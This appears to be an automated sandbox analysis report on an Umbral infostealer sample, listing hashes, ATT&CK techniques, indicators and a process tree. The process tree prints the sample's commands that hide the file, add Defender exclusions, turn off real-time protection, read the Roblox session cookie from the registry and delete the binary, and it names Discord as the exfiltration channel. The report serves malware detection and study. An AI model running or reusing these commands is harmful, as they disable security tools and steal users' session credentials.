umbral | 2a92c314a04c06f608c96a0736b3ea76179085295b700019c9db0de2085e9d7d

Analysis

max time kernel
14s
max time network
17s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241023-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
10-11-2024 16:32

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General

Target

Umbral.exe
Size

229KB
MD5

468453ade106242c46c6ebc95df5e233
SHA1

901875b848f10048764fe07c0c6ac7db7c33f551
SHA256

2a92c314a04c06f608c96a0736b3ea76179085295b700019c9db0de2085e9d7d
SHA512

4d351c895e3456ab926ff13c03f779f4804f8011085e311dcd16825f87ec6290b37d52a555e187ab748da40998301c8258a8c2c74d74640c795574590fa374eb
SSDEEP

6144:lloZM9rIkd8g+EtXHkv/iD4hEnG1DA0r2SjVg8Zk5b8e1mhxi:noZOL+EP8hEnG1DA0r2SjVg8Zw8o

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/4564-1-0x000001BA97B90000-0x000001BA97BD0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2084	powershell.exe
868	powershell.exe
1152	powershell.exe
1388	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
22	discord.com
23	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
19	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1660	cmd.exe
4500	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3520	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4500	PING.EXE

Suspicious behavior: EnumeratesProcesses 26 IoCs

pid	Process
2084	powershell.exe
2084	powershell.exe
1152	powershell.exe
1152	powershell.exe
1388	powershell.exe
1388	powershell.exe
4836	powershell.exe
4836	powershell.exe
940	wmic.exe
940	wmic.exe
940	wmic.exe
940	wmic.exe
4716	wmic.exe
4716	wmic.exe
4716	wmic.exe
4716	wmic.exe
3000	wmic.exe
3000	wmic.exe
3000	wmic.exe
3000	wmic.exe
868	powershell.exe
868	powershell.exe
3520	wmic.exe
3520	wmic.exe
3520	wmic.exe
3520	wmic.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4564	Umbral.exe
Token: SeDebugPrivilege	2084	powershell.exe
Token: SeIncreaseQuotaPrivilege	2084	powershell.exe
Token: SeSecurityPrivilege	2084	powershell.exe
Token: SeTakeOwnershipPrivilege	2084	powershell.exe
Token: SeLoadDriverPrivilege	2084	powershell.exe
Token: SeSystemProfilePrivilege	2084	powershell.exe
Token: SeSystemtimePrivilege	2084	powershell.exe
Token: SeProfSingleProcessPrivilege	2084	powershell.exe
Token: SeIncBasePriorityPrivilege	2084	powershell.exe
Token: SeCreatePagefilePrivilege	2084	powershell.exe
Token: SeBackupPrivilege	2084	powershell.exe
Token: SeRestorePrivilege	2084	powershell.exe
Token: SeShutdownPrivilege	2084	powershell.exe
Token: SeDebugPrivilege	2084	powershell.exe
Token: SeSystemEnvironmentPrivilege	2084	powershell.exe
Token: SeRemoteShutdownPrivilege	2084	powershell.exe
Token: SeUndockPrivilege	2084	powershell.exe
Token: SeManageVolumePrivilege	2084	powershell.exe
Token: 33	2084	powershell.exe
Token: 34	2084	powershell.exe
Token: 35	2084	powershell.exe
Token: 36	2084	powershell.exe
Token: SeDebugPrivilege	1152	powershell.exe
Token: SeDebugPrivilege	1388	powershell.exe
Token: SeDebugPrivilege	4836	powershell.exe
Token: SeIncreaseQuotaPrivilege	940	wmic.exe
Token: SeSecurityPrivilege	940	wmic.exe
Token: SeTakeOwnershipPrivilege	940	wmic.exe
Token: SeLoadDriverPrivilege	940	wmic.exe
Token: SeSystemProfilePrivilege	940	wmic.exe
Token: SeSystemtimePrivilege	940	wmic.exe
Token: SeProfSingleProcessPrivilege	940	wmic.exe
Token: SeIncBasePriorityPrivilege	940	wmic.exe
Token: SeCreatePagefilePrivilege	940	wmic.exe
Token: SeBackupPrivilege	940	wmic.exe
Token: SeRestorePrivilege	940	wmic.exe
Token: SeShutdownPrivilege	940	wmic.exe
Token: SeDebugPrivilege	940	wmic.exe
Token: SeSystemEnvironmentPrivilege	940	wmic.exe
Token: SeRemoteShutdownPrivilege	940	wmic.exe
Token: SeUndockPrivilege	940	wmic.exe
Token: SeManageVolumePrivilege	940	wmic.exe
Token: 33	940	wmic.exe
Token: 34	940	wmic.exe
Token: 35	940	wmic.exe
Token: 36	940	wmic.exe
Token: SeIncreaseQuotaPrivilege	940	wmic.exe
Token: SeSecurityPrivilege	940	wmic.exe
Token: SeTakeOwnershipPrivilege	940	wmic.exe
Token: SeLoadDriverPrivilege	940	wmic.exe
Token: SeSystemProfilePrivilege	940	wmic.exe
Token: SeSystemtimePrivilege	940	wmic.exe
Token: SeProfSingleProcessPrivilege	940	wmic.exe
Token: SeIncBasePriorityPrivilege	940	wmic.exe
Token: SeCreatePagefilePrivilege	940	wmic.exe
Token: SeBackupPrivilege	940	wmic.exe
Token: SeRestorePrivilege	940	wmic.exe
Token: SeShutdownPrivilege	940	wmic.exe
Token: SeDebugPrivilege	940	wmic.exe
Token: SeSystemEnvironmentPrivilege	940	wmic.exe
Token: SeRemoteShutdownPrivilege	940	wmic.exe
Token: SeUndockPrivilege	940	wmic.exe
Token: SeManageVolumePrivilege	940	wmic.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 4564 wrote to memory of 1920	4564	Umbral.exe	84
PID 4564 wrote to memory of 1920	4564	Umbral.exe	84
PID 4564 wrote to memory of 2084	4564	Umbral.exe	86
PID 4564 wrote to memory of 2084	4564	Umbral.exe	86
PID 4564 wrote to memory of 1152	4564	Umbral.exe	89
PID 4564 wrote to memory of 1152	4564	Umbral.exe	89
PID 4564 wrote to memory of 1388	4564	Umbral.exe	91
PID 4564 wrote to memory of 1388	4564	Umbral.exe	91
PID 4564 wrote to memory of 4836	4564	Umbral.exe	93
PID 4564 wrote to memory of 4836	4564	Umbral.exe	93
PID 4564 wrote to memory of 940	4564	Umbral.exe	95
PID 4564 wrote to memory of 940	4564	Umbral.exe	95
PID 4564 wrote to memory of 4716	4564	Umbral.exe	98
PID 4564 wrote to memory of 4716	4564	Umbral.exe	98
PID 4564 wrote to memory of 3000	4564	Umbral.exe	100
PID 4564 wrote to memory of 3000	4564	Umbral.exe	100
PID 4564 wrote to memory of 868	4564	Umbral.exe	102
PID 4564 wrote to memory of 868	4564	Umbral.exe	102
PID 4564 wrote to memory of 3520	4564	Umbral.exe	106
PID 4564 wrote to memory of 3520	4564	Umbral.exe	106
PID 4564 wrote to memory of 1660	4564	Umbral.exe	109
PID 4564 wrote to memory of 1660	4564	Umbral.exe	109
PID 1660 wrote to memory of 4500	1660	cmd.exe	111
PID 1660 wrote to memory of 4500	1660	cmd.exe	111

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1920	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Umbral.exe
"C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4564
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
  2⤵
  - Views/modifies file attributes
  PID:1920
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2084
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1152
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1388
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4836
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:940
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4716
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:868
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  - Suspicious behavior: EnumeratesProcesses
  PID:3520
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1660
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4500

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
3eb3833f769dd890afc295b977eab4b4

SHA1
e857649b037939602c72ad003e5d3698695f436f

SHA256
c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485

SHA512
c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
60b3262c3163ee3d466199160b9ed07d

SHA1
994ece4ea4e61de0be2fdd580f87e3415f9e1ff6

SHA256
e3b30f16d41f94cba2b8a75f35c91ae7418465abfbfe5477ec0551d1952b2fdb

SHA512
081d2015cb94477eb0fbc38f44b6d9b4a3204fb3ad0b7d0e146a88ab4ab9a0d475207f1adae03f4a81ccc5beb7568dc8be1249f69e32fe56efd9ee2f6ee3b1af

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
b8e50b3ccd57a2aeb68434d7199c85d9

SHA1
92236e535a13bcfbfabcb0ec9953f1805e84fc4d

SHA256
ac8499b85d6a6b42251afd44955b7227b98949510d2dd6e05040bf14cbd5a66a

SHA512
77f7d855380ea10d20ea2da82a13a4255e7b5767ed0bbc764e2a2f80ca90fd0c4fa2a58517e4c2d281435b7728946db05a73dfa8cb1e4e420a6a9133061939e8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
8e1fdd1b66d2fee9f6a052524d4ddca5

SHA1
0a9d0994559d1be2eecd8b0d6960540ca627bdb6

SHA256
4cc7c1b79d1b48582d4dc27ca8c31457b9bf2441deb7914399bb9e6863f18b13

SHA512
5a5494b878b08e8515811ab7a3d68780dac7423f5562477d98249a8bedf7ec98567b7cd5d4c6967d6bc63f2d6d9b7da9a65e0eb29d4b955026b469b5b598d1f3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
beaa733206e6159a16f84258a3868738

SHA1
5d973073d1fb8bf3b4654ad9172b1519c5ee3ce7

SHA256
d5387e07c332114cd393c847f7e0fe5108ec208798391a756fc1298daab786dd

SHA512
0fa50d16101a53ff2c43c62e370462feeae1283b6c33167d1ca9e293d2373f00e16f289f07caabe5789aa633c3a622bca4d3e499fd6af38001a3dbcee454b73f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sglmw2au.u25.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1388-48-0x000001ABF7830000-0x000001ABF7A4D000-memory.dmp

Filesize
2.1MB

Download
memory/2084-15-0x00007FFD8F9F0000-0x00007FFD904B2000-memory.dmp

Filesize
10.8MB

Download
memory/2084-16-0x00007FFD8F9F0000-0x00007FFD904B2000-memory.dmp

Filesize
10.8MB

Download
memory/2084-17-0x00007FFD8F9F0000-0x00007FFD904B2000-memory.dmp

Filesize
10.8MB

Download
memory/2084-20-0x00007FFD8F9F0000-0x00007FFD904B2000-memory.dmp

Filesize
10.8MB

Download
memory/2084-12-0x000001C49E530000-0x000001C49E552000-memory.dmp

Filesize
136KB

Download
memory/2084-14-0x00007FFD8F9F0000-0x00007FFD904B2000-memory.dmp

Filesize
10.8MB

Download
memory/2084-13-0x00007FFD8F9F0000-0x00007FFD904B2000-memory.dmp

Filesize
10.8MB

Download
memory/4564-36-0x000001BAB2290000-0x000001BAB22AE000-memory.dmp

Filesize
120KB

Download
memory/4564-34-0x000001BAB22D0000-0x000001BAB2346000-memory.dmp

Filesize
472KB

Download
memory/4564-35-0x000001BAB2350000-0x000001BAB23A0000-memory.dmp

Filesize
320KB

Download
memory/4564-2-0x00007FFD8F9F0000-0x00007FFD904B2000-memory.dmp

Filesize
10.8MB

Download
memory/4564-0-0x00007FFD8F9F3000-0x00007FFD8F9F5000-memory.dmp

Filesize
8KB

Download
memory/4564-63-0x000001BAB22C0000-0x000001BAB22CA000-memory.dmp

Filesize
40KB

Download
memory/4564-64-0x000001BAB24C0000-0x000001BAB24D2000-memory.dmp

Filesize
72KB

Download
memory/4564-1-0x000001BA97B90000-0x000001BA97BD0000-memory.dmp

Filesize
256KB

Download
memory/4564-84-0x00007FFD8F9F0000-0x00007FFD904B2000-memory.dmp

Filesize
10.8MB

Download
memory/4836-60-0x0000026877320000-0x000002687753D000-memory.dmp

Filesize
2.1MB

Download